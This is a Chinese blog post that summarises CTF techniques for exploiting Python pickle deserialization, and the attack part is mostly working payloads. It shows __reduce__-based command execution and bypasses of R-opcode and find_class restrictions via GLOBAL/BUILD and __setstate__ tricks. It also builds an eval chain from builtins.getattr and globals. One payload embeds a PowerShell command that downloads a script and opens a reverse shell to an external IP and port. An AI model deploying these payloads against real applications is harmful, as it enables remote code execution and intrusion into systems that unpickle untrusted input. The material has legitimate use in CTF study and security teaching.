黑客分享,python反序列化攻击 pickle反序列化漏洞
bigegpt 2024-10-21 03:49 2 浏览
前言
本文主要对CTF中常见的python反序列化利用技术进行学习总结。
pickle
pickle是python用来反序列化和序列化的模块。在该模块中有两个主要的类_Unpickler类和_Pickler,前者在反序列化的时候用到,后者在序列化的时候用到。python用pickle.dumps()进行序列化,用pickle.loads()进行反序列化
有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029的方式赋初值,则这个date不会被打包!解决方案是写一个_init_方法
ps:本文都是基于python3。pickle是向下兼容的。
pickletools
pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。
反汇编序列化的字符串:pickletools.dis()
优化一个序列化的字符串:pickletools.optimize()
所谓“优化”,其实就是把不必要的PUT指令给删除掉。这个PUT意思是把当前栈的栈顶复制一份,放进储存区——很明显,我们这个class并不需要这个操作,可以省略掉这些PUT指令
汇编指令的分析
https://zhuanlan.zhihu.com/p/89132768
这篇文章讲的很清楚,可以跟着例子过一遍。需要注意的是文章没有提到X这个操作符,这个操作符跟V一样是读入字符串,不过它后面紧跟的是四个字节,代表了一个数字(小端序),如\x04\x00\x00\x00,值为4,表示下面跟着的utf8编码的字符串的长度,如后面跟着的name。V是直接跟字符,然后以\n分隔。在文章最后,也有我自己关于这些指令的理解。
在了解了python基本的反序列化原理之后,我们来看几种攻击手段和相关的CTF题。
__reduce__
__reduce__是一个魔术方法,__reduce__ 被定义之后,当对象被Pickle时就会被调用。它要求pickle对他进行怎样的序列化。对应的指令码是R,而R指令码的操作是:
- 取当前栈的栈顶记为args,然后把它弹掉。
- 取当前栈的栈顶记为f,然后把它弹掉。
- 以args为参数,执行函数f,把结果压进当前栈
一种很流行的攻击思路是:利用 __reduce__ 构造恶意字符串,当这个字符串被反序列化的时候,恶意代码会被执行。
import pickle
import pickletools
import os
class A(object):
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a=A()
b=pickle.dumps(a)
print(b)
pickle.loads(b)
c指令码的妙用
c指令会读出两个字符串(用\n分割),然后传入find_class方法。查看源码可以看到c指令其实就是获得模块的属性。
来看这样一段源代码
import pickle
import stao
import base64
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x=pickle.loads(data)
if(x!= Animal(stao.name,stao.age)):
return 'not equal'
return 'well done!'
print(check(base64.b64decode(input())))
禁用了R指令,所以不能直接用reduce的办法,但是我们可以直接用C指令在反序列化的时候用stao里的属性来赋值。
正常的Animal实例序列化后的字符串:
这里,我们只需用cstao\nname\n,cstao\nage\n,来替换对应的X\x04\x00\x00\x00stao,X\x03\x00\x00\x00ctf。
将payload进行base64编码,然后传进题目。
可以看到,成功用stao模块的属性来实例化了一个Animal类
绕过c指令module限制
前面提到过,c指令(也就是GLOBAL指令)基于find_class这个方法, 然而findclass是可以被重写。如果find_class只允许c指令包含\_main__这一个module,这道题又该如何解决呢?我们在之前的代码上,写一个类,继承pickle的Unpickler,然后重写find_class方法。
import pickle
import stao
import base64
import io
import sys
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x=restricted_loads(data)
if(x!= Animal(stao.name,stao.age)):
return 'not equal'
return 'well done! {} {}'.format(stao.name,stao.age)
print(check(base64.b64decode(input())))
通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!而且我们可以通过__main__.stao引入这一个module
所以我们的思路是:
- 通过__main__.stao引入这一个module
- 把一个dict压进栈,内容是{‘name’: ‘stao’, ‘age’: ‘ctf’}
- 执行BUILD指令,会导致改写 __main__.stao.name和 __main__.stao.age ,至此stao.name和stao.age已经被篡改成我们想要的内容
- 弹掉栈顶,现在栈变成空的
- 照抄正常的Animal序列化之后的字符串,压入一个正常的Animal对象,name和category分别是’stao’和’ctf’
- 由于栈顶是正常的Animal对象,pickle.loads将会正常返回。 payload:b'\x80\x03c__main__\nstao\n}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x03\x00\x00\x00ageX\x03\x00\x00\x00ctfub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.'
base64编码后,传进题目。可以看到我们成功修改了stao的属性
不用reduce,也能RCE
前面谈到过,__reduce__与R指令是绑定的,禁止了R指令就禁止了__reduce__ 方法。那么,在禁止R指令的情况下,我们还能RCE吗?b指令是用来更新实例的。
- 把当前栈栈顶存进state,然后弹掉。
- 把当前栈栈顶记为inst,然后弹掉。
- 利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈。
值得注意的是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。(在前面分享的文章中有介绍)。那么我们是否可以利用{‘__setstate__‘: os.system}来BUILD一个原先没有__setstate__方法的对象.使对象的__setstate__就变成了os.system;接下来利用”whoami”来再次BUILD这个对象,来执行setstate(“whoami”) ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE.
构造payload:b=b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.'
反序列化字符串,可以看到成功执行命令
这里在执行命令之后,用指令0弹出栈顶元素,再重新写一个正常的Animal对象,是为了防止反序列化的时候出错。
来试一下反弹shell
b=b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVpowershell iex (New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 121.196.193.160 -Port 8080\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.'
成功反弹
构造模块存储到memo,然后再次调用
来看这样一段代码:
import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
restricted_loads(base64.b64decode(input()))
代码限定了c指令只能用builtins这个模块,而且过滤了一些执行命令的方法。但是没有禁止getattr这个方法,因此我们可以构造builtins.getattr(builtins, ‘eval’)的方法来构造eval函数.
接下来我们得构造出一个builtins模块来传给getattr的第一个参数,因为find_class限制了我们c指令只能用builtins模块,所以我们来看看这个模块里面有什么办法能产生出builtins模块。globals()函数会以字典类型返回当前位置的全部全局变量。builtins模块中有这个方法,而且全局变量中是有builtins模块的。
globals()函数返回的是一个字典,所以我们还得从字典中提取出builtins模块。python中用get方法通过指定键值来获得字典中的一个值。所以我们可以提取字典中的get办法。
构造builtins模块的思路我们已经有了,接下来就是写指令。首先来看下获得get方法的指令。
b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R."
再来看下怎么执行globals函数来获得字典。
b"\x80\x03cbuiltins\nglobals\n)R."
字典有了,get方法有了,下面就是用get方法来获得字典中的值并存入memo,以便后续调用。
b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\n."
成功构造,现在我们可以构造eval函数了,使用g1获取刚才的builtins,从而获得eval方法
b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\ncbuiltins\ngetattr\ng1\nVeval\n\x86R."
成功获得eval函数,现在我们可以利用这个函数来执行命令
b'\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\ncbuiltins\ngetattr\ng1\nVeval\n\x86RV__import__("os").system("whoami")\n\x85R.'
可以看到成功执行了命令。将payload编码然后传入题目,也可以成功执行命令
思路和题目来自:https://xz.aliyun.com/t/5306#toc-2
关于指令的理解
在看了几篇博客以及pickle的源码之后,对各指令的作用的理解如下(如有错误,欢迎指出哦):
- ),}是向堆栈中压入一个空元组,空字典
- ( 我的理解是,在堆栈中压入一个特殊的标志,后面的操作是在这个标志之内进行的,最后可以用t或u来生成字元组或字典。
- t 将第一个(和t之前的元素当作一个元组,压入堆栈。
- u 将第一个(和u之间的元素两两一对,前面的为键,后面的为值,存进栈顶的空字典,压入堆栈。要注意的是,栈顶必须事先有个空字典。
- c 比较容易理解,就是传入两个参数(用\n分隔)给find_class方法,通常是用来获取一个模块中的属性。如cstao\nname\n
- b call __setstate__ or __dict__.update(),即用来更新实例,如果实例中有setstate方法,则按setstate方法操作,否则就是将字典直接合并到实例的字典中。
- \x81 从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls。接下来,执行cls.__new__(cls, *args) ,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。
- \x85 将栈顶的元素弹进元组,压入堆栈。\x86 是将从栈顶开始的两个元素弹进元组,压入堆栈,\x87 是三个。
- p 将栈顶元素存入memo,索引是一个字符串。如p1\n
- g push item from memo on stack; index is string arg 和p相反的操作
- r 取当前栈的栈顶记为args,然后把它弹掉;取当前栈的栈顶记为f,然后把它弹掉;以args为参数,执行函数f,把结果压进当前栈.
- X 将字符串压入堆栈,后面跟四个字节代表字符串的长度。如X\x04\x00\x00\x00stao
- V 将字符串压入堆栈,用\n分隔。如Vstao\nVctf\n
- S 将字符串压入堆栈,要带引号,用\n分隔。如S’stao’\n
- 0 将栈顶弹出。
需要注意的是:
- 其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。
- for i in sys.modules['builtins'].__dict__: print(i)可以用这个办法查看模块中的属性。
安界网,网络安全精英的教练场,关注私信,索取免费资料,带你领略黑客的神秘世界!
相关推荐
- Docker篇(二):Docker实战,命令解析
-
大家好,我是杰哥上周我们通过几个问题,让大家对于Docker有了一个全局的认识。然而,说跟练往往是两个概念。从学习的角度来说,理论知识的学习,往往只是第一步,只有经过实战,才能真正掌握一门技术所以,本...
- docker学习笔记——安装和基本操作
-
今天学习了docker的基本知识,记录一下docker的安装步骤和基本命令(以CentOS7.x为例)一、安装docker的步骤:1.yuminstall-yyum-utils2.yum-con...
- 不可错过的Docker完整笔记(dockerhib)
-
简介一、Docker简介Docker是一个开源的应用容器引擎,基于Go语言并遵从Apache2.0协议开源。Docker可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,...
- 扔掉运营商的 IPTV 机顶盒,全屋全设备畅看 IPTV!
-
其实现在看电视节目的需求确实大大降低了,折腾也只是为了单纯的让它实现,享受这个过程带来的快乐而已,哈哈!预期构想家里所有设备直接接入网络随时接收并播放IPTV直播(电信点播的节目不是太多,但好在非常稳...
- 第五节 Docker 入门实践:从 Hello World 到容器操作
-
一、Docker容器基础运行(一)单次命令执行通过dockerrun命令可以直接在容器中执行指定命令,这是体验Docker最快捷的方式:#在ubuntu:15.10容器中执行ech...
- 替代Docker build的Buildah简单介绍
-
Buildah是用于通过较低级别的coreutils接口构建OCI兼容镜像的工具。与Podman相似,Buildah不依赖于Docker或CRI-O之类的守护程序,并且不需要root特权。Builda...
- Docker 命令大全(docker命令大全记录表)
-
容器生命周期管理run-创建并启动一个新的容器。start/stop/restart-这些命令主要用于启动、停止和重启容器。kill-立即终止一个或多个正在运行的容器rm-于删除一个或...
- docker常用指令及安装rabbitMQ(docker安装rabbitmq配置环境)
-
一、docker常用指令启动docker:systemctlstartdocker停止docker:systemctlstopdocker重启docker:systemctlrestart...
- 使用Docker快速部署Storm环境(docker部署confluence)
-
Storm的部署虽然不是特别麻烦,但是在生产环境中,为了提高部署效率,方便管理维护,使用Docker来统一管理部署是一个不错的选择。下面是我开源的一个新的项目,一个配置好了storm与mono环境的D...
- Docker Desktop安装使用指南:零基础教程
-
在之前的文章中,我多次提到使用Docker来安装各类软件,尤其是开源软件应用。鉴于不少读者对此有需求,我决定专门制作一期关于Docker安装与使用的详细教程。我主要以Macbook(Mac平台)为例进...
- Linux如何成功地离线安装docker(linux离线安装httpd)
-
系统环境:Redhat7.2和Centos7.4实测成功近期因项目需要用docker,所以记录一些相关知识,由于生产环境是不能直接连接互联网,尝试在linux中离线安装docker。步骤1.下载...
- Docker 类面试题(常见问题)(docker面试题目)
-
Docker常见问题汇总镜像相关1、如何批量清理临时镜像文件?可以使用sudodockerrmi$(sudodockerimages-q-fdanging=true)命令2、如何查看...
- 面试官:你知道Dubbo怎么优雅上下线的吗?你:优雅上下线是啥?
-
最近无论是校招还是社招,都进行的如火如荼,我也承担了很多的面试工作,在一次面试过程中,和候选人聊了一些关于Dubbo的知识。Dubbo是一个比较著名的RPC框架,很多人对于他的一些网络通信、通信协议、...
- 【Docker 新手入门指南】第五章:Hello Word
-
适合人群:完全零基础新手|学习目标:30分钟掌握Docker核心操作一、准备工作:先确认是否安装成功打开终端(Windows用户用PowerShell或GitBash),输入:docker--...
- 松勤软件测试:详解Docker,如何用portainer管理Docker容器
-
镜像管理搜索镜像dockersearch镜像名称拉取镜像dockerpullname[:tag]列出镜像dockerimages删除镜像dockerrmiimage名称或id删除...
- 一周热门
- 最近发表
-
- Docker篇(二):Docker实战,命令解析
- docker学习笔记——安装和基本操作
- 不可错过的Docker完整笔记(dockerhib)
- 扔掉运营商的 IPTV 机顶盒,全屋全设备畅看 IPTV!
- 第五节 Docker 入门实践:从 Hello World 到容器操作
- 替代Docker build的Buildah简单介绍
- Docker 命令大全(docker命令大全记录表)
- docker常用指令及安装rabbitMQ(docker安装rabbitmq配置环境)
- 使用Docker快速部署Storm环境(docker部署confluence)
- Docker Desktop安装使用指南:零基础教程
- 标签列表
-
- mybatiscollection (79)
- mqtt服务器 (88)
- keyerror (78)
- c#map (65)
- resize函数 (64)
- xftp6 (83)
- bt搜索 (75)
- c#var (76)
- mybatis大于等于 (64)
- xcode-select (66)
- mysql授权 (74)
- 下载测试 (70)
- linuxlink (65)
- pythonwget (67)
- androidinclude (65)
- logstashinput (65)
- hadoop端口 (65)
- vue阻止冒泡 (67)
- oracle时间戳转换日期 (64)
- jquery跨域 (68)
- php写入文件 (73)
- kafkatools (66)
- mysql导出数据库 (66)
- jquery鼠标移入移出 (71)
- 取小数点后两位的函数 (73)